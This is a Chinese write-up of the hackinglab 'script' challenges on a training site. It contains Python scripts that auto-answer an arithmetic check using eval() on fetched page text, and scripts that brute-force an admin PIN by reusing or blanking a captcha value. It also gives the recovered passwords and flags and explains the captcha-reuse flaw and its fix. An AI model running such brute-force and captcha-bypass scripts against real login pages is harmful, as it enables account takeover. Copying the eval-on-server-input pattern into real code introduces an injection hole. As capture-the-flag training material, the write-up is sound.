1. 程式人生 > >hackinglab 指令碼關 writeup

hackinglab 指令碼關 writeup

key又又找不到了

先點開通關地址
這裡寫圖片描述
之後點選這個連結,攔截它的response,可以得到key
這裡寫圖片描述

快速口算

寫個指令碼就行了。利用正則來提取相關資訊。

import requests
import re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
header = {'Cookie': 'PHPSESSID='} #填入自己的cookie

contents = requests.get(url, headers = header).content.decode('utf-8'
) matches = re.search("(.+)=<(input)", contents) data = {'v': str(eval(matches.group(1)))} contents = requests.post(url, headers=header, data=data).content.decode('utf-8') matches = re.search("<body>(.*)</body>", contents) print(matches.group(1))

這個題目是空的

因為是空,所以答案是
null

怎麼就是不彈出key呢?

檢視網頁原始碼,發現有三個return false。
所以我們把它儲存到本地,刪除這些函式就ok了

逗比驗證碼第一期

我們在第一次正確輸入驗證碼以後,用burpsuite捕捉請求,發現不斷提交,驗證碼是相同的,所以爆破一下就行

import requests
import re
url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0'
, 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Content-Type' : 'application/x-www-form-urlencoded', 'Content-Length' : '48', 'Referer' : 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php', 'Cookie': 'PHPSESSID=', 'Connection' : 'close', 'Upgrade-Insecure-Requests' : '1'} for i in range(9000): data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : 'KF4R', 'submit' : 'submit'} contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8') print("%d : %s"%(i + 1000, contents))

密碼是1238

key is LJLJL789sdf#@sd

逗比驗證碼第二期

先提交一次正確的vcode,之後vcode為空就可以繞過去了,爆破方法一樣。

import requests
import re
url = 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Content-Type' : 'application/x-www-form-urlencoded',
          'Content-Length' : '48',
          'Referer' : 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php',
          'Cookie': 'PHPSESSID=fb23c47f2950ce28ca86697e0f9884e9',
          'Connection' : 'close',
          'Upgrade-Insecure-Requests' : '1'}

for i in range(9000):
    data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : '', 'submit' : 'submit'}
    contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
    print("%d : %s"%(i + 1000, contents))

密碼是1228

key is LJLJL789ss33fasvxcvsdf#@sd

逗比驗證碼第三期

做法一樣,下面引用博主人總閒 關於驗證碼原理的講解

驗證碼釋出的流程
1. 顯示錶單
2. 顯示驗證碼(呼叫生成驗證碼的程式),將驗證碼加密後放進 session 或者 cookie
3. 使用者提交表單
4. 核對驗證碼無誤、資料合法後寫入資料庫完成
使用者如果再發布一條,正常情況下,會再次訪問表單頁面,驗證碼圖片被動更新, session 和 cookie 也就跟著變了
但是灌水機操作不一定非要使用表單頁面,它可以直接模擬 post 向服務端程式傳送資料,這樣驗證碼程式沒有被呼叫,當然 session 和 cookie 儲存的加密驗證碼就是上次的值,也就沒有更新,這樣以後無限次的通過post直接傳送的資料,而不考慮驗證碼,驗證碼形同虛設!
所以,在核對驗證碼後先將 session 和 cookie 的值清空,然後做資料合法性判斷,然後入庫!這樣,一個漏洞就被補上了!

import requests
import re
url = 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Content-Type' : 'application/x-www-form-urlencoded',
          'Content-Length' : '48',
          'Referer' : 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php',
          'Cookie': 'PHPSESSID=fb23c47f2950ce28ca86697e0f9884e9',
          'Connection' : 'close',
          'Upgrade-Insecure-Requests' : '1'}

for i in range(9000):
    data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : '', 'submit' : 'submit'}
    contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
    print("%d : %s"%(i + 1000, contents))

密碼 1298

key is LJLJLfuckvcodesdf#@sd